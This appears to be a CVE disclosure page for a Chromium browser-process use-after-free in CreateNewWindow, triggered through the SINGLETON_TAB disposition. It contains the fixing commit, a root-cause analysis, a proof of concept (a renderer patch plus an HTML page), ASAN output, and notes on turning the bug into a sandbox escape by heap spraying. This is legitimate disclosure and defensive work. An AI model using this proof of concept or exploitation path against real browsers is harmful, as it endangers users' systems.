CVE-2026-3924
Overview
Changed Functions
| Function | Change | Notes |
|---|---|---|
ifcontent/browser/renderer_host/render_frame_host_impl.cc |
modified |
Files Changed
content/browser/renderer_host/render_frame_host_impl.cc
Patch
From 3c20517b961d59dea34098ef7e9fd4ca955eb081 Mon Sep 17 00:00:00 2001 From: Stefan Zager <[email protected]> Date: Thu, 26 Feb 2026 11:02:46 -0800 Subject: [PATCH] Fix CreateNewWindow() to correctly handle a reused tab Under normal circumstances, a non-null return value from `ShowCreatedWindow()` will return the WebContents that was created by the earlier call to `CreateNewWindow()`. However, under certain circumstances `ShowCreatedWindow()` will return a different pre-existing WebContents and allow the just-created WebContents to expire, along with its frame tree node, widget host, and frame host. This CL ensures that the code doesn't rely on any of the newly-created objects after the call to `ShowCreatedWindow()`, and instead uses the normal accessors on WebContents to retrieve them. Bug: 487338366 Change-Id: I84a5c5cf7f395d708baf71c6a43b39e4099f61ad Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7610581 Reviewed-by: Charlie Reis <[email protected]> Commit-Queue: Stefan Zager <[email protected]> Cr-Commit-Position: refs/heads/main@{#1590960} --- diff --git a/content/browser/renderer_host/render_frame_host_impl.cc b/content/browser/renderer_host/render_frame_host_impl.cc index f4c26a1..2513348 100644 --- a/content/browser/renderer_host/render_frame_host_impl.cc +++ b/content/browser/renderer_host/render_frame_host_impl.cc @@ -10085,8 +10085,8 @@ DCHECK(IsRenderFrameLive()); - // The non-owning pointer |new_frame_tree| is valid in this stack frame since - // nothing can delete it until this thread is freed up again. + // The non-owning pointer |new_frame_tree| is valid in this stack frame at + // least until the call to ShowCreatedWindow() below. FrameTree* new_frame_tree = delegate_->CreateNewWindow(this, *params, is_new_browsing_instance, was_consumed, cloned_namespace.get()); @@ -10145,11 +10145,11 @@ bool wait_for_debugger = devtools_instrumentation::ShouldWaitForDebuggerInWindowOpen(); - // NOTE: if the call to ShowCreatedWindow() below returns nullptr, then + // NOTE: after the call to ShowCreatedWindow() below it's possible that // new_frame_tree, new_main_rfh, and new_main_rwh will all have been destroyed - // and point to freed memory! To preserve legacy behavior, we still need to - // send a fully-populated reply along with kSuccess, so we construct the reply - // here prior to ShowCreatedWindow(). + // and point to freed memory! We still need to send a fully-populated reply + // along with kSuccess, so we construct the reply here prior to + // ShowCreatedWindow(). blink::VisualProperties visual_properties; // If we can't get an accurate set of VisualProperties after ShowCreatedWindow @@ -10169,24 +10169,35 @@ new_main_rfh->render_view_host()->RenderViewCreated(new_main_rfh); - // ShowCreatedWindow will return nullptr if the new WebContents has been - // destroyed, as described above (see NOTE). + int routing_id = new_rwh->GetRoutingID(); + + // These can point to freed memory after the call to ShowCreatedWindow(), even + // if that method returns non-null. Null them out here to prevent inadvertent + // UAF in the future. + new_frame_tree = nullptr; + new_main_rfh = nullptr; + new_rwh = nullptr; + WebContents* shown_contents = delegate()->ShowCreatedWindow( - this, new_rwh->GetRoutingID(), params->disposition, *params->features, + this, routing_id, params->disposition, *params->features, params->consumes_user_activation); - if (!shown_contents) { - // These point to freed memory, so null them out to prevent inadvertent - // UAF in the future (see NOTE above). - new_frame_tree = nullptr; - new_main_rfh = nullptr; - new_rwh = nullptr; - } else if (new_main_rfh->GetView()) { - // Cannot populate window geometry until after ShowCreatedWindow(). - reply->widget_screen_rect.emplace(new_main_rfh->GetView()->GetViewBounds()); - reply->window_screen_rect.emplace( - new_main_rfh->GetView()->GetBoundsInRootWindow()); - reply->visual_properties = new_rwh->GetVisualProperties(); + // Cannot populate window geometry until after ShowCreatedWindow(). + if (shown_contents) { + if (auto* shown_rfh = shown_contents->GetPrimaryMainFrame()) { + if (auto* shown_rwh = static_cast<RenderFrameHostImpl*>(shown_rfh) + ->GetLocalRenderWidgetHost()) { + if (auto* shown_rwhv = shown_rwh->GetView()) { + reply->widget_screen_rect.emplace(shown_rwhv->GetViewBounds()); + reply->window_screen_rect.emplace( + static_cast<RenderWidgetHostViewBase*>(shown_rwhv) + ->GetBoundsInRootWindow()); + reply->visual_properties = + static_cast<RenderWidgetHostImpl*>(shown_rwh) + ->GetVisualProperties(); + } + } + } } std::move(callback).Run(mojom::CreateNewWindowStatus::kSuccess,
Original Bug Report
Use-after-free in CreateNewWindow via SINGLETON_TAB disposition leads to sandbox escape
Use-after-free in CreateNewWindow via SINGLETON_TAB disposition leads to sandbox escape
Summary
A use-after-free vulnerability exists in RenderFrameHostImpl::CreateNewWindow() in the Chromium browser process. When a compromised renderer sends a CreateNewWindow IPC with the SINGLETON_TAB disposition and a target URL that matches an existing tab, the browser process creates a new WebContents object but then synchronously destroys it in Navigate() while still returning a non-null pointer. The caller subsequently dereferences the freed RenderFrameHostImpl and RenderWidgetHostImpl objects, producing a use-after-free on the browser process UI thread. Because the dangling pointers are local auto* variables rather than raw_ptr<T> fields, MiraclePtr does not protect them, and the crash is confirmed exploitable by ASAN. A compromised renderer can leverage this to escape the sandbox and achieve code execution in the browser process.
Bisect
Introducing Commit: 6f6e57cb3244ac478d5bef46cf60b81f984e83a0
- Date: 2025-03-19
- Author: Stefan Zager ([email protected])
- Review: https://chromium-review.googlesource.com/c/chromium/src/+/6343761
This commit combined the previously separate CreateNewWindow (sync) and ShowCreatedWindow (async) renderer-to-browser IPCs into a single synchronous IPC. The inline call to ShowCreatedWindow() within CreateNewWindow() introduced the assumption that a non-null return from ShowCreatedWindow guarantees the newly created objects are still alive. The feature flag kCombineNewWindowIPCs guarding this code was later removed in commit b02f846752ba3b0e574aee9bb23bab4cb71e202a (2026-02-09, same author, review https://chromium-review.googlesource.com/c/chromium/src/+/7560632), making the vulnerable path unconditional.
Root Cause
When a renderer process calls window.open(), it sends a synchronous content.mojom.FrameHost.CreateNewWindow IPC to the browser process. The handler in RenderFrameHostImpl::CreateNewWindow() delegates to WebContentsImpl::CreateNewWindow() to allocate a new WebContents with its associated FrameTree, RenderFrameHostImpl, and RenderWidgetHostImpl. It then captures raw pointers to these objects:
// content/browser/renderer_host/render_frame_host_impl.cc
RenderFrameHostImpl* new_main_rfh =
new_frame_tree->root()->current_frame_host();
// ...
auto* new_rwh = new_main_rfh->GetLocalRenderWidgetHost();
After constructing the reply message with initial values from these pointers, the code calls ShowCreatedWindow() to hand the new WebContents to the browser UI layer. There is a comment (labeled NOTE) acknowledging that ShowCreatedWindow may return nullptr if the new WebContents is destroyed during this call, and in that case the dangling pointers are nulled out:
// content/browser/renderer_host/render_frame_host_impl.cc
WebContents* shown_contents = delegate()->ShowCreatedWindow(
this, new_rwh->GetRoutingID(), params->disposition, *params->features,
params->consumes_user_activation);
if (!shown_contents) {
// These point to freed memory, so null them out to prevent inadvertent
// UAF in the future (see NOTE above).
new_frame_tree = nullptr;
new_main_rfh = nullptr;
new_rwh = nullptr;
} else if (new_main_rfh->GetView()) {
// Cannot populate window geometry until after ShowCreatedWindow().
reply->widget_screen_rect.emplace(new_main_rfh->GetView()->GetViewBounds());
reply->window_screen_rect.emplace(
new_main_rfh->GetView()->GetBoundsInRootWindow());
reply->visual_properties = new_rwh->GetVisualProperties();
}
The vulnerability lies in the else if branch. The code assumes that a non-null shown_contents means the newly created WebContents is still alive and new_main_rfh/new_rwh are valid. However, ShowCreatedWindow can return a non-null pointer to a completely different, pre-existing WebContents while the newly created one has already been destroyed.
The destruction path flows through ShowCreatedWindow into the Chrome browser UI layer. WebContentsImpl::ShowCreatedWindow() calls delegate->AddNewContents(), which resolves to Browser::AddNewContents(), then chrome::AddWebContents(). This function constructs a NavigateParams structure with the new WebContents as contents_to_insert and the renderer-supplied disposition, then calls Navigate():
// chrome/browser/ui/browser_tabstrip.cc
NavigateParams params(browser, std::move(new_contents));
params.source_contents = source_contents;
params.url = target_url;
params.disposition = disposition;
// ...
Navigate(¶ms);
return params.navigated_or_inserted_contents;
Inside Navigate(), the function initializes singleton_index to -1 and then calls GetBrowserAndTabForDisposition() to determine where the navigation should go. For the SINGLETON_TAB disposition, this function calls GetIndexOfExistingTab(), which searches the browser’s tab strip for a tab whose URL matches the navigation target. If a match is found, the function returns that tab’s index:
// chrome/browser/ui/browser_navigator.cc
case WindowOpenDisposition::SINGLETON_TAB: {
if (params.browser) {
int index = GetIndexOfExistingTab(params.browser, params);
if (index >= 0) {
return {params.browser, index};
}
}
// ...
}
When singleton_index is non-negative, Navigate() sets contents_to_navigate_or_insert to the existing tab’s WebContents. Critically, the code that adds the new WebContents to the tab strip is gated on singleton_index == -1:
// chrome/browser/ui/browser_navigator.cc
std::unique_ptr<tabs::TabModel> tab_to_insert;
if (params->contents_to_insert) {
tab_to_insert = std::make_unique<tabs::TabModel>(
std::move(params->contents_to_insert),
params->browser->GetBrowserForMigrationOnly()->tab_strip_model());
// ...
}
// ...
if (singleton_index != -1) {
contents_to_navigate_or_insert =
params->browser->GetBrowserForMigrationOnly()
->tab_strip_model()
->GetWebContentsAt(singleton_index);
}
// ...
} else if (singleton_index == -1) {
// ...
params->browser->GetBrowserForMigrationOnly()->tab_strip_model()->AddTab(
std::move(tab_to_insert), ...);
}
// tab_to_insert goes out of scope here and is destroyed if not moved
When singleton_index >= 0, the AddTab call is skipped. The tab_to_insert unique_ptr, which now owns the newly created WebContents, is never moved into the tab strip. When Navigate() returns, tab_to_insert goes out of scope, triggering TabModel::~TabModel() which destroys the WebContents and all its children, including the RenderFrameHostImpl that new_main_rfh points to. Meanwhile, Navigate() sets navigated_or_inserted_contents to the pre-existing tab’s WebContents, and this non-null pointer propagates all the way back through AddWebContents and ShowCreatedWindow to CreateNewWindow.
Back in CreateNewWindow, shown_contents is non-null (pointing to the existing tab), so the code enters the else if branch and dereferences new_main_rfh->GetView(), which accesses freed heap memory. The freed RenderFrameHostImpl is a 5656-byte object that can be replaced with attacker-controlled data via heap spraying, giving the attacker control over the vtable pointer and enabling arbitrary code execution in the browser process.
The affected pointers new_main_rfh and new_rwh are local auto* variables on the stack, not raw_ptr<T> fields. As confirmed by ASAN’s output (“MiraclePtr Status: NOT PROTECTED”), MiraclePtr cannot mitigate this vulnerability.
A compromised renderer can trigger this by setting the disposition field in the CreateNewWindowParams Mojo message to WindowOpenDisposition::SINGLETON_TAB (value 12) and the target_url to a URL that already has an open tab in the browser. This is fully within the capabilities of a compromised renderer since the disposition is just an enum field in the IPC message with no browser-side validation restricting it to specific values. Similarly, an installed PWA with launch_handler.client_mode set to navigate-existing can produce the same effect through the navigation capturing path, where NavigationCapturingProcess::CapturedNavigateExisting() sets singleton_index to a valid tab index.
Reproduce
The proof of concept consists of two components: (1) a renderer patch that overrides the window open disposition to SINGLETON_TAB (simulating a compromised renderer), and (2) a single HTML page that triggers the UAF.
1. Apply renderer patch
Apply the following patch to content/renderer/render_frame_impl.cc:
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -6792,6 +6792,12 @@
params->frame_name = frame_name_utf8;
params->opener_suppressed = features.noopener;
params->disposition = NavigationPolicyToDisposition(policy);
+ // PoC: compromised renderer forces SINGLETON_TAB disposition
+ if (params->disposition == WindowOpenDisposition::NEW_FOREGROUND_TAB ||
+ params->disposition == WindowOpenDisposition::NEW_BACKGROUND_TAB) {
+ params->disposition = WindowOpenDisposition::SINGLETON_TAB;
+ }
if (!request.IsNull()) {
params->target_url = request.Url();
Rebuild:
autoninja -C out/asan-release chrome
2. Start HTTP server
In the directory containing poc_createwindow_singleton_uaf.html:
python3 -m http.server 8888
3. Launch Chrome and visit PoC URL
ASAN_OPTIONS=detect_odr_violation=0 ./out/asan-release/chrome \
--no-sandbox --disable-gpu \
--user-data-dir=/tmp/poc-singleton-uaf \
http://localhost:8888/poc_createwindow_singleton_uaf.html
The page automatically opens a duplicate tab (#dup), then the duplicate fires window.open() back to the original URL. With the SINGLETON_TAB disposition override, the browser finds the existing tab (singleton_index >= 0), destroys the newly created WebContents, and returns the existing one as non-null. CreateNewWindow then dereferences the freed new_main_rfh, triggering the ASAN heap-use-after-free.
PoC HTML (poc_createwindow_singleton_uaf.html)
<!DOCTYPE html>
<html><head><meta charset="utf-8"><title>PoC</title></head>
<body>
<script>
if (!location.hash) {
// First load: open a duplicate of ourselves, marked with #dup
window.open(location.href + '#dup', '_blank');
} else {
// We are the duplicate (#dup). After a delay, fire window.open() back to
// the original URL (without hash) to trigger singleton matching -> UAF.
setTimeout(function() {
var target = location.href.replace('#dup', '');
for (var i = 0; i < 5; i++) {
setTimeout(function() { window.open(target, '_blank'); }, i * 300);
}
}, 2000);
}
</script>
</body></html>
ASAN output:
=================================================================
==1757573==ERROR: AddressSanitizer: heap-use-after-free on address 0x7dd4f3337900 at pc 0x7fb565b4f261 bp 0x7ffc94dffb70 sp 0x7ffc94dffb68
READ of size 8 at 0x7dd4f3337900 thread T0 (chrome)
#0 0x7fb565b4f260 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10181:28
#1 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
#2 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
#3 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
#4 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#5 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
#6 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#7 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#8 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#9 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#10 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
#11 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
#12 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
0x7dd4f3337900 is located 0 bytes inside of 5656-byte region [0x7dd4f3337900,0x7dd4f3338f18)
freed by thread T0 (chrome) here:
#0 0x556a70db840d in operator delete(void*) (/home/test/chromium/src/out/asan-release/chrome+0x682b40d) (BuildId: 9182ae9d429f4c1b)
#1 0x7fb565c1e873 in content::RenderFrameHostManager::~RenderFrameHostManager() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#2 0x7fb5657c73d2 in content::FrameTreeNode::~FrameTreeNode() content/browser/renderer_host/frame_tree_node.cc:312:1
#3 0x7fb5657af6b9 in content::FrameTree::~FrameTree() content/browser/renderer_host/frame_tree.cc:230:1
#4 0x7fb5663660d1 in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:1496:1
#5 0x7fb566368e6d in content::WebContentsImpl::~WebContentsImpl() content/browser/web_contents/web_contents_impl.cc:1376:37
#6 0x556a75df5586 in tabs::TabModel::~TabModel() gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#7 0x556a7d296aa5 in Navigate(NavigateParams*) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#8 0x556a7d2a670f in chrome::AddWebContents(Browser*, content::WebContents*, std::__Cr::unique_ptr<content::WebContents, std::__Cr::default_delete<content::WebContents>>, GURL const&, WindowOpenDisposition, blink::mojom::WindowFeatures const&, NavigateParams::WindowAction, bool) chrome/browser/ui/browser_tabstrip.cc:109:3
#9 0x556a7d213ccd in Browser::AddNewContents(content::WebContents*, std::__Cr::unique_ptr<content::WebContents, std::__Cr::default_delete<content::WebContents>>, GURL const&, WindowOpenDisposition, blink::mojom::WindowFeatures const&, bool, bool*) chrome/browser/ui/browser.cc:2117:10
#10 0x556a7d213e67 in non-virtual thunk to Browser::AddNewContents(...) chrome/browser/ui/browser.cc
#11 0x7fb5663aeda1 in content::WebContentsImpl::ShowCreatedWindow(content::RenderFrameHostImpl*, int, WindowOpenDisposition, blink::mojom::WindowFeatures const&, bool) content/browser/web_contents/web_contents_impl.cc:5694:20
#12 0x7fb565b4de98 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10168:45
#13 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
#14 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
#15 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
#16 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#17 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
#18 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#19 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#20 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#21 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#22 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
#23 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
#24 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
previously allocated by thread T0 (chrome) here:
#0 0x556a70db7bcd in operator new(unsigned long) (/home/test/chromium/src/out/asan-release/chrome+0x682abcd) (BuildId: 9182ae9d429f4c1b)
#1 0x7fb565ade0d6 in content::RenderFrameHostFactory::Create(content::SiteInstance*, scoped_refptr<content::RenderViewHostImpl>, content::RenderFrameHostDelegate*, content::FrameTree*, content::FrameTreeNode*, int, mojo::PendingAssociatedRemote<content::mojom::Frame>, base::TokenType<blink::LocalFrameTokenTypeMarker> const&, base::TokenType<blink::DocumentTokenTypeMarker> const&, base::UnguessableToken, bool, content::RenderFrameHostImpl::LifecycleStateImpl, scoped_refptr<content::BrowsingContextState>) content/public/browser/render_frame_host.h:148:3
#2 0x7fb565c21543 in content::RenderFrameHostManager::CreateRenderFrameHost(content::RenderFrameHostManager::CreateFrameCase, content::SiteInstanceImpl*, int, mojo::PendingAssociatedRemote<content::mojom::Frame>, base::TokenType<blink::LocalFrameTokenTypeMarker> const&, base::TokenType<blink::DocumentTokenTypeMarker> const&, base::UnguessableToken, bool, scoped_refptr<content::BrowsingContextState>, content::ProcessAllocationContext const&) content/browser/renderer_host/render_frame_host_manager.cc:4279:10
#3 0x7fb565c20426 in content::RenderFrameHostManager::InitRoot(content::SiteInstanceImpl*, bool, blink::FramePolicy, std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, base::UnguessableToken const&) content/browser/renderer_host/render_frame_host_manager.cc:717:22
#4 0x7fb5657b8687 in content::FrameTree::Init(content::SiteInstanceImpl*, bool, std::__Cr::basic_string<char, std::__Cr::char_traits<char>, std::__Cr::allocator<char>> const&, content::RenderFrameHostImpl*, blink::FramePolicy const&, base::UnguessableToken const&) content/browser/renderer_host/frame_tree.cc:963:27
#5 0x7fb566395f8b in content::WebContentsImpl::Init(content::WebContents::CreateParams const&, blink::FramePolicy) content/browser/web_contents/web_contents_impl.cc:4178:23
#6 0x7fb566359ae1 in content::WebContentsImpl::CreateWithOpener(content::WebContents::CreateParams const&, content::RenderFrameHostImpl*) content/browser/web_contents/web_contents_impl.cc:1577:17
#7 0x7fb5663aa709 in content::WebContentsImpl::CreateNewWindow(content::RenderFrameHostImpl*, content::mojom::CreateNewWindowParams const&, bool, bool, content::SessionStorageNamespace*) content/browser/web_contents/web_contents_impl.cc:786:10
#8 0x7fb565b4ce3a in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>) content/browser/renderer_host/render_frame_host_impl.cc:10083:18
#9 0x7fb56348ebf2 in content::mojom::FrameHostStubDispatch::AcceptWithResponder(content::mojom::FrameHost*, mojo::Message*, std::__Cr::unique_ptr<mojo::MessageReceiverWithStatus, std::__Cr::default_delete<mojo::MessageReceiverWithStatus>>) gen/content/common/frame.mojom.cc:6279:13
#10 0x7fb57257f29e in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1036:56
#11 0x7fb5725965b0 in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:51:24
#12 0x7fb572584ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#13 0x7fb55dfe538f in IPC::ChannelAssociatedGroupController::AcceptSyncMessage(unsigned int, unsigned int, IPC::(anonymous namespace)::ScopedUrgentMessageNotification) ipc/ipc_mojo_bootstrap.cc:1242:24
#14 0x7fb55dfe7577 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#15 0x7fb571960c82 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#16 0x7fb5719e216e in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#17 0x7fb5719e1146 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#18 0x7fb571bb6a97 in base::MessagePumpGlib::HandleDispatch() base/message_loop/message_pump_glib.cc:736:46
#19 0x7fb571bba242 in base::(anonymous namespace)::WorkSourceDispatch(_GSource*, int (*)(void*), void*) base/message_loop/message_pump_glib.cc:355:43
#20 0x7fb52c91ad3a in g_main_context_dispatch (/lib/x86_64-linux-gnu/libglib-2.0.so.0+0x55d3a) (BuildId: 6b4f160dbc5397c2f502dc4f08a8cff259917926)
SUMMARY: AddressSanitizer: heap-use-after-free content/browser/renderer_host/render_frame_host_impl.cc:10181:28 in content::RenderFrameHostImpl::CreateNewWindow(mojo::StructPtr<content::mojom::CreateNewWindowParams>, base::OnceCallback<void (content::mojom::CreateNewWindowStatus, mojo::StructPtr<content::mojom::CreateNewWindowReply>)>)
Shadow bytes around the buggy address:
0x7dd4f3337680: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7dd4f3337700: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7dd4f3337780: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7dd4f3337800: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x7dd4f3337880: fa fa fa fa fa fa fa fa fa fa fa fa fa fa f7 fa
=>0x7dd4f3337900:[fd]fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7dd4f3337980: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7dd4f3337a00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7dd4f3337a80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7dd4f3337b00: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
0x7dd4f3337b80: fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd fd
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==1757573==ADDITIONAL INFO
==1757573==Note: Please include this section with the ASan report.
Task trace:
#0 0x7fb55dfdada2 in IPC::ChannelAssociatedGroupController::Accept(mojo::Message*) ipc/ipc_mojo_bootstrap.cc:1118:15
#1 0x7fb57215688a in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:103:13
MiraclePtr Status: NOT PROTECTED
No raw_ptr<T> access to this region was detected prior to this crash.
This crash is still exploitable with MiraclePtr.
Refer to https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md for details.
==1757573==END OF ADDITIONAL INFO
==1757573==ABORTING
References
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/render_frame_host_impl.cc;l=10166-10182
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/browser_navigator.cc;l=647-667
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/browser_navigator.cc;l=772-893
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/browser_tabstrip.cc;l=81-111
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/web_contents/web_contents_impl.cc;l=5694
Credit
c6eed09fc8b174b0f3eebedcceb1e792
- http://localhost:8888/poc_createwindow_singleton_uaf.html
- https://chromium-review.googlesource.com/c/chromium/src/+/6343761
- https://chromium-review.googlesource.com/c/chromium/src/+/7560632
- https://chromium.googlesource.com/chromium/src/+/main/base/memory/raw_ptr.md
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/browser_navigator.cc;l=647-667
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/browser_navigator.cc;l=772-893
- https://source.chromium.org/chromium/chromium/src/+/main:chrome/browser/ui/browser_tabstrip.cc;l=81-111
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/renderer_host/render_frame_host_impl.cc;l=10166-10182
- https://source.chromium.org/chromium/chromium/src/+/main:content/browser/web_contents/web_contents_impl.cc;l=5694